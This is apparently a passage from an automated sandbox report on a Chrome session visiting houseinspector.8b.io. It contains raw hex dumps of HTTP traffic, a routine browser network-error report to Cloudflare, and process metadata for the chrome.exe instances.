2022-07-22 21:41:49 UTC	29	IN	Data Raw: 89 1d 6e e5 7e 32 9d a7 c3 fa ed 07 12 b3 76 b4 6d 3f 41 6b bb 97 ea a8 ef 9c 90 16 d1 36 ca 10 59 a1 07 04 56 24 fc fd 09 d7 76 38 8f a6 72 76 59 e1 99 b9 79 f0 0c 7d 60 4e 64 4a 56 c4 a1 6b 85 a6 66 86 c9 dd a3 aa ac 52 f5 79 bd 02 80 70 d7 6e 64 56 a6 bf 5e d4 eb b0 82 39 f9 23 c8 c8 a7 02 b8 48 18 12 cc df f7 17 c3 fb 57 de 5c b9 f9 22 5d 38 ec e0 05 e3 04 f8 84 35 a6 41 3e 7a 56 f2 c3 64 22 70 17 1b 47 4c 1e bf 6d 87 47 08 39 0d 22 d3 74 2e 20 b3 7a bb 5c 82 97 c8 7d f9 79 62 6a 2f c7 00 04 b1 43 d7 11 34 4c 92 da 0e de 46 84 d0 0c f6 fc 72 77 35 af 50 f9 8b bf e0 16 f1 35 f8 52 3f a8 1e c0 c5 8b 6e fb dd 32 d2 e2 ed 52 8b 0f ea 29 f7 59 66 76 d9 dc 9e a9 36 e5 3e 02 b8 1e 77 17 52 c5 5e b7 ea 9a 66 3e d6 ad c1 02 34 ac ea 85 00 b7 78 4f 0c 54 af 72 Data Ascii: n~2vm?Ak6YV$v8rvYy}`NdJVkfRypndV^9#HW\"]85A>zVd"pGLmG9"t. z\}ybj/C4LFrw5P5R?n2R)Yfv6>wR^f>4xOTr
2022-07-22 21:41:49 UTC	30	IN	Data Raw: 5f 50 e5 90 58 78 41 3b 83 97 79 d6 cd 82 48 60 dd a5 09 53 dc 53 5c 58 62 83 3c 72 69 37 84 dd 62 dc e8 f0 13 67 8e 76 ab 6e 4b 93 41 3b ad 70 56 48 58 ba 5b 1c b1 f6 42 4d 22 a0 1a 14 3a 1c b0 10 fb 67 8d 8b 3b 68 2c be b5 e6 72 f4 d8 d6 a8 35 24 36 5c d5 5c ad 83 9f 4c 44 37 5a ad 5d d8 63 34 57 de 95 c3 bb 90 5d d7 ce 8c a8 57 de ed c3 c8 2e a4 7b 74 4c a3 16 32 c8 fc 49 22 53 c2 17 24 fa 75 ee db 5b 49 a5 25 ae 03 e5 0b c7 2e b2 1c 74 a9 ad d0 a7 17 d4 9a d8 73 a7 1f 1c 48 20 aa 49 ec 1e c1 cb 5f 89 46 22 87 63 21 fd 4f c0 ff e0 f4 f0 ee e7 23 29 a9 ad 4c ca 1f 4a 80 e9 d7 bf 8c 75 9b 9b 91 66 b0 6e 7f 0a c2 cc f3 57 db a5 66 7e a3 4d 1e bf 54 d0 e9 3a 78 e3 73 9b 2c d5 f9 dd b8 12 93 85 44 13 4e c3 b2 41 6b 6b ee 6c fb ba 2f 0f df e7 f6 92 1e 8b 17 Data Ascii: _PXxA;yH`SS\Xb<ri7bgvnKA;pVHX[BM":g;h,r5$6\\LD7Z]c4W]W.{tL2I"S$u[I%.tsH I_F"c!O#)LJufnWf~MT:xs,DNAkkl/
2022-07-22 21:41:49 UTC	31	IN	Data Raw: 7e f8 34 fd 29 c0 9c 3b ef 3a 0f ac e7 8a 5c 45 3e f8 be eb 3e c0 ff 80 d7 b5 69 5e 75 cf 95 35 ea da 5d ca 76 d9 ab b9 dd 59 65 1b 68 3c 17 73 4d 0f 04 a5 71 2e 55 9b 74 00 ba 2f 55 3b d8 77 ba de 75 e0 af 03 ae 7a 30 6d e9 f9 ed d8 db 9f b8 31 99 05 eb 93 df e2 15 df 6b 17 36 e8 27 2e d2 7e 2f 8f 79 6b 7a 98 95 bc 89 f0 19 03 e3 f0 fe 2c 48 14 fc ec c5 38 18 60 91 8f b0 98 c8 18 8e 91 2f b1 b1 50 1f d8 30 bb 02 bf 79 c4 45 89 4f d8 79 f8 e3 d8 d3 b1 0b 4d 0f 78 d0 03 53 77 e2 f9 09 7d db f7 a9 6f 66 2b 7f 36 69 ee ba 76 0f 50 dd 38 97 e6 8e 3c b9 03 d5 af 80 c9 11 73 ed 36 a1 0c 82 85 da 29 96 70 6d 23 21 99 4d f8 7b 88 98 ec 0c a6 52 8a 9d 64 92 ab 98 92 1a 74 71 a6 32 65 4b b3 ce 0c b8 9a 83 81 9e 01 b9 28 bd 58 e4 18 fe c4 20 3b 7e d2 8d a6 d7 8e 82 Data Ascii: ~4);:\E>>i^u5]vYeh<sMq.Ut/U;wuz0m1k6'.~/ykz,H8`/P0yEOyMxSw}of+6ivP8<s6)pm#!M{Rdtq2eK(X ;~
2022-07-22 21:41:49 UTC	32	IN	Data Raw: 3b 96 40 66 49 7b 5e 7e ab c4 64 12 00 84 46 e6 64 b0 26 c7 ab e9 ab aa ea 53 b9 3d bd 2a 02 12 5e 07 90 f2 b8 fb e0 81 80 b2 ba 25 57 b3 57 5e ed fb 71 87 72 47 73 a1 40 c0 e3 c9 1a 0a 25 85 86 5c 73 66 e6 59 6b 28 bc 3a 7c fb 3b 4e eb 2f d1 88 34 25 fc db f1 d5 a9 6f 84 82 d6 94 95 26 1c d3 6f 3a 17 bc e5 76 ff 82 57 c7 bb 7e 80 b0 73 9b c4 d6 17 d5 85 af 7d 00 ed d9 5b ca 17 1f 9f ab 8c d3 ff 1f d9 c2 fe 02 f8 71 85 31 1d 00 7e 39 2c 9e 34 be ec fd b6 f7 4d 8f 70 00 f4 82 e6 60 7f 38 c0 ee f9 5f 81 6c c1 54 79 b8 ef bf f3 14 c8 82 68 9b d5 03 d8 95 4b 21 f5 25 fe ce ec 82 14 37 9c a7 76 8b 28 91 4b 31 cf c0 1e 7f a9 0a 85 ff 86 c2 11 0f c7 97 a1 d5 35 ca 20 11 86 5b 04 85 2d 4c c6 b7 8b 0d 8c 09 14 09 d7 96 9b eb a2 aa 93 2b 42 d9 ec 76 2b cf 45 34 af Data Ascii: ;@fI{^~dFd&S=*^%WW^qrGs@%\sfYk(:\|;N/4%o&o:vW~s}[q1~9,4Mp`8_lTyhK!%7v(K15 [-L+Bv+E4

Timestamp	kBytes transferred	Direction	Data
2022-07-22 21:41:49 UTC	436	OUT	OPTIONS /report/v3?s=%2BpNw3lYN5C7uJbA%2FDGgRvYeUX%2BS9yoEUhVSV3sE4Y7PcCLFSX8JWc%2Bgx9ytDwoVxSeH2tWTu7ZB%2F%2BgBbP%2FFdNqAYXX0DNwIUS5NjNfHG7A8323TV6wqD7XgCQg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://vr.8b.io Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-07-22 21:41:49 UTC	446	IN	HTTP/1.1 200 OK content-length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Fri, 22 Jul 2022 21:41:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	kBytes transferred	Direction	Data
2022-07-22 21:41:49 UTC	446	OUT	POST /report/v3?s=%2BpNw3lYN5C7uJbA%2FDGgRvYeUX%2BS9yoEUhVSV3sE4Y7PcCLFSX8JWc%2Bgx9ytDwoVxSeH2tWTu7ZB%2F%2BgBbP%2FFdNqAYXX0DNwIUS5NjNfHG7A8323TV6wqD7XgCQg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 417 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-07-22 21:41:49 UTC	447	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 34 37 36 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 68 6f 75 73 65 69 6e 73 70 65 63 74 6f 72 2e 38 62 2e 69 6f 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 32 31 35 2e 33 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 36 2c 22 74 79 70 65 22 3a 22 61 62 61 6e 64 6f 6e 65 64 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 Data Ascii: [{"age":0,"body":{"elapsed_time":476,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://houseinspector.8b.io/","sampling_fraction":1.0,"server_ip":"172.67.215.39","status_code":206,"type":"abandoned"},"type":"network-error","ur
2022-07-22 21:41:49 UTC	447	IN	HTTP/1.1 200 OK content-length: 0 date: Fri, 22 Jul 2022 21:41:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	23:41:42
Start date:	22/07/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
Imagebase:	0x7ff6a7220000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	1
Start time:	23:41:44
Start date:	22/07/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1532,13709650561703948199,6877466021511323472,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1964 /prefetch:8
Imagebase:	0x7ff6a7220000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Target ID:	2
Start time:	23:41:46
Start date:	22/07/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" "https://houseinspector.8b.io
Imagebase:	0x7ff6a7220000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low